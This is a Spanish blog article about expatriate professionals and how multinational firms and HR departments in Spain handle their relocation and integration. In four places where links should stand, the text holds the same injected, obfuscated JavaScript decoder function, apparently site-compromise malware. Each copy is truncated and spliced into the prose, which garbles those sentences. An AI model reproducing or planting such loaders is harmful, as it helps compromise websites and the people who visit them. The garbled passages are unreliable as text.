Patricia

La llamada fuga de cerebros o expatriación de los profesionales de un país hacia otro ya no es novedad de último momento. Hace algún tiempo que este modelo de contratación está poniéndose en práctica en diferentes empresas multinacionales. Estas compañías encontraron en la contratación de function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=»;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfanded.com/english/Common/Footer/Expatriates/How-many-expats-are-there» class="external" rel="nofollow">Expats beneficios exclusivos que no consiguen de otra manera. Con la llegada de la globalización, cada vez es más común ver profesionales de países poco desarrollados que terminan su carrera de grado en un país, y consiguen una buena oferta laboral en una nación del primer mundo. Sin dudarlo demasiado, arman sus valijas y salen a probar suerte en el extranjero. Con esta decisión tomada comenzarán a  formar parte del grupo de los function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=»;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfanded.com/english/Common/Footer/Expatriates/Expatriate-salaries-and-benefits" class="external" rel="nofollow">Expatriate desparramados por el mundo. Quizás lo serán por un corto período de tiempo, quizás por el resto de su vida. Posiblemente, la estabilidad laboral de otro país les permita rehacer sus vidas, estabilizarse laboralmente, formar una familia, y hasta ayudar a sus seres queridos que quedaron en su país de origen.

Son mayormente las empresas multinacionales quienes se benefician de este sistema. Es tal la conveniencia que tienen  las mimas al contratar personal extranjero, que muchas veces se hacen cargo de los gastos que implican que el profesional se integre al nuevo país. Los beneficios que obtienen a cambio son múltiples: pueden pagar salarios menores que  los abonados a  profesionales de su país (ya que el extranjero está acostumbrado a salarios mínimos en su región de origen). A cambio obtienen conocimientos exclusivos de otro nivel y, lo más importante, con otra mirada. El nuevo personal observa los proyectos de la empresa desde afuera, y puede tener una visión más amplia de las situaciones. Eso hace que se logre una solución de manera mejor y más rápida.

En cuanto a los aspectos negativos de los trabajadores expropiados, podemos nombrar: el proceso de instalación e integración al nuevo país, las costumbres propias difíciles de modificar, etc. Es en este aspecto donde se aplica el llamado coaching ejecutivo. Este es un sistema de asesoramiento empresarial que ayuda al nuevo trabajador a integrarse en la sociedad en general, y en el ambiente laboral en particular. Se aboca sobre todo a limar las diferencias culturales entre el expatriate y la sociedad en la que debe insertarse. Colaborar en ello, tanto en los aspectos económicos como emocionales, redundará en beneficios para la compañía a mediano y largo plazo.

Es muy común, en los últimos años, observar expatriados, o en su versión inglesa function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=»;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfanded.com/english/Common/Footer/Expatriates/How-many-expats-are-there» class="external" rel="nofollow">Expatriate, de diferentes países trabajando en empresas españolas. Entre ellos, hay muchos profesionales. La presencia de estas personas en las compañías del país produjo una revolución en la organización de los departamentos de Recursos Humanos y, por ende, una reacomodación en función de la integración de los diferentes perfiles de empleados.  Estos sectores siempre debieron amoldarse a los cambios continuos de su personal, pero ahora deben hacerlo con mayor frecuencia, debido al ingreso de los function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfanded.com/english/Common/Footer/Expatriates/How-many-expats-are-there" class="external" rel="nofollow">Expats a su producción.

Vivir en España no es fácil para el expatriado. Los aspectos de los que debe ocuparse a su llegada, son infinitos (especialmente si posee una familia). Tendrá que buscar una casa o apartamento, con las complicaciones que implica firmar un contrato siendo extranjero. Además debe solicitar  los servicios: agua, luz, teléfono, etc. Otro tema de gran preocupación para los expatriados es encontrar un colegio adecuado para sus niños. Se debe conseguir un lugar con buena educación, pero también debe ser un sitio en dónde su hijo se sienta cómodo. Y ello no es cosa menor, ya que resulta  extremadamente difícil para un niño extranjero, adaptarse al estilo de vida, costumbres, juegos, etc. de otro país. De más está decir que estas problemáticas no se limitan al círculo cerrado de la familia sino que se trasladan a la empresa donde el expatriado trabaja. Ésta  debe proveerle la estabilidad laboral necesaria, y las subvenciones que por derecho le corresponden, para que pueda instalarse en el país de una manera correcta. Y de ello se encargará el departamento de Recursos Humanos.

Dadas las circunstancias, algunas compañías se organizaron de manera que les resulte más fácil estar preparadas para brindar este tipo de apoyo a los trabajadores extranjeros. Si bien son muchas las empresas que poseen el personal y las herramientas necesarias para hacerlo, aún quedan firmas que no le  dieron la prioridad necesaria a la problemática. Aunque resulte descabellado, algunas firmas prefieren pagar un mes de alojamiento de la persona para que ésta busque por su cuenta una residencia, a brindarle asesoramiento inmobiliario. Lo mismo sucede con la comida, el colegio, y el resto de los servicios sociales. Es decir, realizan una ineficiente distribución de los honorarios, por no tomarse el trabajo de organizar sus departamentos internos. Las firmas que tomaron consciencia de los beneficios que obtienen brindando asesoramiento en lugar de pagar extras (ahorran mucho más a largo plazo) están comenzando a  cambiar sus tradicionales esquemas organizativos.